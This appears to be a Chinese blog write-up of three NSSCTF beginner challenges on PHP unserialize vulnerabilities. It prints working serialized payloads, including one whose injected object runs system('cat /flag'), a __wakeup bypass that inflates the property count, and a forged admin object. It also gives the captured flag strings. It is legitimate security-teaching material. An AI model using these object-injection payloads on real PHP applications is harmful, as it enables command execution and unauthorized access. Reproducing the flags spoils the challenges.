NSSCTFphp反序列化3题

[SWPUCTF 2022 新生赛]1z_unserialize

进入题目

以上为源代码

从上,我们看见了一个重要的函数__destruct()

这个函数可以将它下面包含的方法,在创建一个新的类的时候,自动执行.所以,我们需要将我们需要的代码转化为创建的一个新的类的序列化,

class lyh{
    public $url = 'NSSCTF.com';
    public $lt="system";
    public $lly="cat /flag";
 
}

我们使用上面的代码,通过system函数抱住cat文件,将其序列化,可以得到

O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

这时,我们将它用post传参,传入即可获得flag

NSSCTF{f7c9fb11-4454-4548-b610-258f3c2655eb}

[SWPUCTF 2022 新生赛]ez_ez_unserialize

 

以上为源代码

我们需要把高亮的源代码变为flag所在文件夹,所以直接让代码中的x=fllllllag.php,同时绕过__wakeup(),既有

<?php
class X
{
    public $x="fllllllag.php";
}
$abc=new X();
 
echo serialize($abc);
?>

序列化后得到:O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

根据__wakeup漏洞:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

得到:

x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

得到flag,

$flag="NSSCTF{eba09b3a-70f3-4f9b-ba9a-31532374561a}

[SWPUCTF 2021 新生赛]ez_unserialize

进入后看到一个图片

使用了robots.txt文件阻止了跳转到源码阶段,于是我们直接搜索这个文件:

可以看见,阻止了所有搜索引擎弹到/c145s.php,于是我们可以直接访问这个文件,不受robots.txt文件的限制;

我们可以直接凭序列化规则构造一个,当然也可以通过代码

<?php
class wllm
{
    public $admin="admin";
    public $passwd="ctf";
    
}
$abc=new wllm();
 
echo serialize($abc);
?>

得到内容:O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

输入后得到flag

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值